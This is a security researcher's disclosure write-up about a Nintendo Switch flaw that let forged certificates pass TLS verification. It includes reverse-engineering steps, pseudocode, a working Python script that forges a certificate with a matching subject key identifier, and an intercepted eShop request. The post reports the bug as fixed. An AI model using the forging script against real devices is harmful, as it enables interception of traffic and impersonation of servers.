Bypassing TLS Verification on Nintendo Switch

2025-08-13 by Yannik Marchand

This blog post describes a vulnerability that would allow an attacker to man-in-the-middle TLS connections on the Nintendo Switch. A successful attack would allow the attacker to view traffic that would otherwise be encrypted, and to impersonate a server. The vulnerability is limited to connections where the application has called the nn::ssl::Context::ImportServerPki function, which reduces its impact a little.

This blog post also describes some background on TLS and reverse engineering the Nintendo Switch. If you are already familiar with that, or are only interested in the vulnerability itself, feel free to skip ahead to the vulnerability section.

1. Motivation and Approach

Since the Switch 2 has come out, it has been an interesting target for hackers. A great part of the code is shared with the Switch 1, which is known to be very secure. Currently, hackers have been able to gain code execution in games by transferring special save data from a Switch 1 to a Switch 2, and they managed to dump some system data archives through a browser exploit.

I have personally been looking for vulnerabilities in the TLS implementation of the Nintendo Switch, hoping that finding one there would allow me to intercept network traffic on the Switch 2. This would open up all kinds of opportunities for automation, such as scraping leaderboards of Mario Kart World, and give insight into the design behind Nintendo's server infrastructure.

Reverse engineering a TLS implementation is not an easy task. Therefore, this section describes some of the resources that I used during reverse engineering.

1.1 Getting Started

The operating system behind the Nintendo Switch consists of a microkernel and various userspace programs that provide services to other programs and games. These system programs are usually called sysmodules in the community. In order to reverse engineer them, we first need to dump them. This can be done in a variety of ways:

  • By dumping the firmware from a vulnerable device with Hekate.
  • By downloading the firmware from the official servers with a script. This requires dumping a client certificate from a real device first.
  • By downloading the firmware from the public firmware archive that is maintained by Darthsternie. Unfortunately, this currently lags behind by several system versions.

I personally prefer the second approach.

Once the firmware has been dumped, it can be unpacked into individual files with hactool. The keys that are required to unpack the firmware can be dumped from a real device with Lockpick_RCM. Unfortunately, the original Lockpick_RCM repository has been taken down after a DMCA notice, which makes it a bit more difficult to find a working version.

Finally, after obtaining the firmware files, the executables can be disassembled with IDA or Ghidra after installing an appropriate loader. I personally used IDA Home with the loader that was implemented by the ReSwitched team.

1.2 Automatic Function Names

The system programs of the Nintendo Switch do not contain any function names, and almost no debug strings. This makes it difficult to find the relevant functions at first. However, there are some ways to make this easier.

All operating system functionality is provided to developers in an SDK called nnSdk. While this SDK is statically linked into system programs, it is dynamically linked into games. By dumping the dynamic library from a game, we can obtain the names for all functions that are exported from the SDK, and also some internal ones.

In order to port function names from an SDK library to a system program, I first attempted to use IDA's Lumina feature. However, I found that it results in many false positives and it also misses some important functions. Therefore, I decided to implement my own script using IDAPython. This script is currently not public, but it essentially generates a database of function names, together with a hash that is generated from the function body. The script recognizes a large number of SDK functions in a system program, and also allows me to port my own function names to a new IDA database when a system update comes out.

In the future, I want to extend the script so that it considers function proximity and data references as well. This would allow it to automatically port even more function names from the SDK.

1.3 Finding IPC Functions

System processes on the Nintendo Switch expose services to other processes and games through an IPC interface. This interface, as well as the services that are provided by the system, are extensively documented on the SwitchBrew wiki. For example, we can find method names and a brief description of the parameters for the TLS services here.

By looking for the service names in IDA (such as ssl or ssl:s), and following some cross-references, we can figure out where these services are implemented in the system program. When done correctly, this leads us to a vtable that contains one entry for every method that is provided by the service. Because the vtable entries are sorted by the IPC method id, they follow the same order as the tables that are documented on SwitchBrew.

In some sysmodules, such as the ssl sysmodule, it is even easier to find the correct vtable, because its name is stored in the runtime type information (RTTI) of the class. IDA automatically recognizes this and gives the vtable a name.

1.4 Recognizing the NSS Library

By looking at the strings view in IDA, we can tell that Nintendo uses Mozilla's NSS library to implement TLS. Even the exact version number is revealed!

This is very useful, because it allows us to download the source code of the library from Mozilla's servers. We can also find documentation on the most important NSS functions online, such as SSL_AuthCertificateHook, which will become important later on.

Although this requires some manual work, we can assign a name to almost all NSS functions in IDA by comparing the disassembly against the source code.

1.5 Dynamic Analysis with GDB

There is one final trick that I want to share, which is useful if you get stuck with static analysis. The Atmosphere custom firmware implements a GDB stub, which makes it possible to set breakpoints, step through code and analyze the runtime state on a real device, even for system processes. A nice tutorial on setting this up has been written by jam1garner.

2. Background on TLS

On the Nintendo Switch, almost all connections are secured with TLS. This allows the Switch to validate the identity of the server, and ensures that all relevant data packets are encrypted. When TLS is implemented properly, there is no way to view the traffic or impersonate a server, even if you are able to intercept the packets.

While detailed information on TLS can be found online (such as in the relevant RFCs), this section provides a brief introduction to TLS.

2.1 The TLS Handshake

Every TLS connection starts with a handshake. Here, the server provides a certificate to the client to prove its identity. This ensures that an attacker cannot impersonate a server. During the handshake, the client and server also agree on an encryption key that will be used for further communication. This key is generated in such a way that even a man-in-the-middle, who is able to view all packets that are transmitted between the client and server, is unable to derive the key.

2.2 Asymmetric Cryptography

When asymmetric cryptography is used, there exists both a public and a private key. When applied to digital signatures, the private key can be used to sign a document, and the public key can be used to verify the signature. Because the private key is kept secret, only the person that possesses the private key can create a valid signature for a document. Because the public key is shared, anyone can verify whether a given signature is valid.

2.3 TLS Certificate Chains

In order to proof its identity, the server must provide a valid certificate to the client during the connection handshake. Every certificate is signed by a different certificate which is called a certificate authority (CA). A certificate that is signed by itself is called a root CA, or a self-signed certificate. The client contains a list of trusted root CAs by default. When the client receives a certificate from the server, it validates the signature of all certificates in the chain, up until the root CA. If the root CA is trusted, it accepts the certificate. Otherwise, the connection is aborted. The following image visualizes such a chain:

The ISRG Root X1 certificate in this example is trusted by all modern browsers.

2.4 Subject Key Identifiers

The subject of a certificate describes its identity. This includes properties such as the domain name, but may also describe the organization that it belongs to. The issuer of a certificate describes the certificate that was used to sign it.

When a TLS client wants to validate a certificate, it must first find the correct CA certificate. It does so by looking up the certificate whose subject matches the issuer of the certificate that it wants to verify.

In some cases, organizations may want to reuse a subject for multiple different certificate authorities. So that the client can still find the correct authority, the concept of subject key identifiers (SKIDs) and authority key identifiers (AKIDs) was introduced. While the format of the SKID and AKID can be arbitrary, it is recommended that these are derived by hashing the public key of the certificate.

3. Finding and Exploiting the Vulnerability

On the Nintendo Switch, a TLS client is implemented in the ssl system program. This implementation is used by almost all applications that want to establish a TLS connection with a server. This section provides a brief explanation on how it works, and where the vulnerability can be found.

3.1 TLS on the Nintendo Switch

When an application wants to establish a TLS connection, it must first create a context. This can be done by calling nn::ssl::Context::Create. Once a context has been created, it can be configured by the application. For example, the application can call nn::ssl::Context::ImportCrl to add a certificate revocation list to the TLS context, or nn::ssl::Context::ImportServerPki to add additional trusted root CAs to the TLS context.

After configuring the context, the application can create a connection object by calling nn::ssl::Connection::Create. Every connection is attached to a specific TLS context. By calling nn::ssl::Connection::SetHostName, the application can specify the domain name that it expects in the certificate. The application must also assign a connected socket to the TLS connection by calling nn::ssl::Connection::SetSocketDescriptor. Finally, the application can perform a TLS handshake by calling nn::ssl::Connection::DoHandshake.

Internally, the ssl sysmodule registers various callbacks to the NSS library to customize its behavior. For example, it calls SSL_AuthCertificateHook to change how certificates are validated, and SSL_BadCertHook to deal with bad certificates.

When the application finally wants to perform the handshake, the ssl sysmodule calls the SSL_ForceHandshakeWithTimeout function to start this process.

3.2 Analyzing the Callbacks

Because the NSS library has been around for many years, it will be difficult to find any vulnerabilities in it. Therefore, I decided to focus on Nintendo's callbacks instead. If we can somehow ensure that either the SslAuthCertCb or SslBadCertCb function returns SECSuccess, the Switch will complete the handshake and we can intercept the traffic.

The SslAuthCertCb function is quite long. It performs various tasks, such as:

  • Saving the server certificate in a buffer if the application wants to access it.
  • Assembling parameters and verifying the certificate chain with CERT_PKIXVerifyCert.
  • Verifying the expiration date of the certificate with CERT_CheckCertValidTimes.
  • Verifying the domain name in the certificate with CERT_VerifyCertName.
  • Generating a telemetry report if an unexpected error occurs.

The interesting part (this is where the vulnerability lies) is that the callback contains a special case for certificates that are registered with nn::ssl::Context::ImportServerPki. Here, the implementation only checks the expiration date and does not verify its signature with the NSS library at all.

3.3 Finding The Vulnerability

This section contains some pseudocode. The method and class names in here are not official and were merely guessed. Below is the implementation of the nn::ssl::Context::ImportServerPki function:

Result SslContext::ImportServerPki(
    uint64_t *cert_id_out,
    const char *cert_data,
    uint32_t cert_data_size,
    CertificateFormat format
) {
    if (!cert_id_out) {
        return convert_result(ssl_ResultInvalidPointer);
    }

    CertificateStore *store = this->certificate_store;
    if (store->CountServerPki() > 70) {
        return convert_result(ssl_ResultMaxServerPkiRegistered);
    }

    /* ... */

    uint64_t cert_id;
    Result result = store->ImportServerPki(
        &cert_id, cert_data, cert_data_size, format
    );
    if (result == Success) {
        *cert_id_out = cert_id;
    }
    return convert_result(result);
}

Internally, the ImportServerPki method decodes the certificate, converts it to NSS's internal format, and adds it to a linked list.

When the SslConnection::SslAuthCertCb function validates the certificate that was received from the server, it first checks whether it exists in this linked list. If it is, all remaining signature checks are skipped. This check is done with the following function:

bool CertificateStore::IsTrusted(CERTCertificate *received_cert) {
    bool trusted = false;
    nn::os::LockMutex(&this->mutex);

    // Loop through the trusted server certificates
    for (CERTCertificate *trusted_cert : this->server_pki_list) {
        if (SECITEM_ItemsAreEqual(&trusted_cert->subjectKeyID, &received_cert->subjectKeyID)) {
            trusted = true;
            break;
        }
    }

    nn::os::UnlockMutex(&this->mutex):
    return trusted;
}

As you can see, it only checks whether the subject key identifier of the received certificate is equal to the subject key identifier of a trusted certificate. If it is, the received certificate is immediately trusted.

It is important to realize that the subject key identifier can be specified by an attacker in an extension. Even though it is usually derived from a hash, any arbitrary value can be specified in it. This means that we can create a custom certificate whose SKID is equal to the SKID of a trusted certificate.

3.4 Exploiting the Vulnerability

In order to exploit the vulnerability, I had to find an application that calls the ImportServerPki function. While I could have statically analyzed the executables of a few applications, this would have been a bit cumbersome. Instead, I decided to use Atmosphere's GDB stub.

By placing a breakpoint inside of the loop of the IsTrusted method, I knew that it would be hit exactly when an application that has called the ImportServerPki function is performing a handshake.

Although it took a while until the breakpoint was hit, it eventually happened while I was viewing a trailer in the Nintendo eShop. It turned out that the eShop video client was vulnerable.

Using GDB, we can also inspect which certificates are imported into TLS context by the application. This revealed that the eShop video client imports many well known root CAs into the context.

To test the vulnerability, I picked an arbitrary one: the SwissSign Silver CA certificate. This CA has the subject key identifier 17a0cdc1e441b63a5b3bcb459dbd1cc298fa8658. The script below generates a self-signed certificate with this SKID and the domain name of the eShop video server:

from OpenSSL import crypto

# The subject key ID of the SwissSign Silver CA certificate
SKID = b"17a0cdc1e441b63a5b3bcb459dbd1cc298fa8658"

# The common (CN) of the impersonated server
COMMON_NAME = "nemof.hac.lp1.nemo.srv.nintendo.net"

private_key = crypto.PKey()
private_key.generate_key(crypto.TYPE_RSA, 2048)

cert = crypto.X509()
cert.set_pubkey(private_key)
cert.set_notBefore(b"20000101000000Z")
cert.set_notAfter(b"29990101000000Z")
cert.add_extensions([
    crypto.X509Extension(b"subjectKeyIdentifier", False, SKID)
])

subject = cert.get_subject()
subject.commonName = COMMON_NAME

cert.sign(private_key, "sha256")

with open("nemo_cert.pem", "wb") as f:
    f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
with open("nemo_key.pem", "wb") as f:
    f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, private_key))

Now, after starting an HTTPS server with this certificate, I could intercept the request to the eShop video server:

GET /m/cbc2824c5a0894bb00c7b494684fe0eab2fce8481f422887bd9501bbaf80ed7b.mp4 HTTP/1.1
Host: nemof.hac.lp1.nemo.srv.nintendo.net
User-Agent: Mozilla/5.0 (Nintendo Switch; ShopN; Nintendo Switch) AppleWebKit/613.0 (KHTML, like Gecko) NF/6.0.3.27.11 NintendoBrowser/5.1.0.35219
Accept: */*
Cookie: _ga_T79DP6K7VC=GS2.1.s491ffd2f602ac0ee_20250602204608$o25$g1$t1748889987$j27$l0$h0;_gid=GA1.2.1510583777.1748889079;_ga=GA1.2.585029718.1497003696

This confirmed that the exploit worked.

3.5 Impact

The eShop video client is currently the only application that I found that uses the ImportServerPki function. This allows an attacker to send custom MP4 files to the Nintendo Switch, which increases the attack surface a bit, if there is a vulnerability in the MP4 parser. There are no secret tokens in the request however.

If it had been a general TLS bypass, the impact would have been much more severe. In that case, it would have been possible to intercept device authentication tokens and id tokens, which would have made it possible to access game servers with a custom client from a PC. While this would have been very interesting from a technical perspective, it would also lead to cheated highscores on the leaderboards. Fortunately, this is not the case.

I also attempted to perform this attack against the Switch 2, but was not able to pull it off. Because we do not yet have any debugging capabilities, and are not yet able to dump any application code, it is difficult to tell which applications are vulnerable and which certificates are imported by them into the TLS context. However, the fact that Nintendo changed the scope of the HackerOne report to Nintendo Switch 2 System Processes strongly suggests that the vulnerability was present on the Switch 2 as well. If you are able to capture any Switch 2 requests with this vulnerability, I would love to hear.

From Nintendo's point of view, the vulnerability is still quite severe. The ImportServerPki function is available in the SDK that is given to developers (both first party and third party). Of course, the developers must be able to assume that this functionality is safe. A vulnerability breaks that promise.

3.6 Fix

After discovering the vulnerability, I reported it through Nintendo's public HackerOne program. They acknowledged the vulnerability, awarded a bounty, and released a fix in system update 20.2.0, within a little more than a month.

In the system update, an additional check was added to the function that checks whether a certificate is trusted. Instead of only comparing the subject key identifiers, the function now also ensures that the certificates are equal with the CERT_CompareCerts function. As this function compares the complete DER representation of the certificate, it is no longer possible to provide a forged certificate.

The HackerOne report, including its timeline, can be found here.

Summary

To summarize briefly, all applications that use the nn::ssl::Context::ImportServerPki function were vulnerable, because an attacker could make the client accept a self-signed certificate. The certificate merely needs to have a subject key identifier that matches the subject key identifier of an imported certificate. The vulnerability was reported on HackerOne, and is fixed in system version 20.2.0.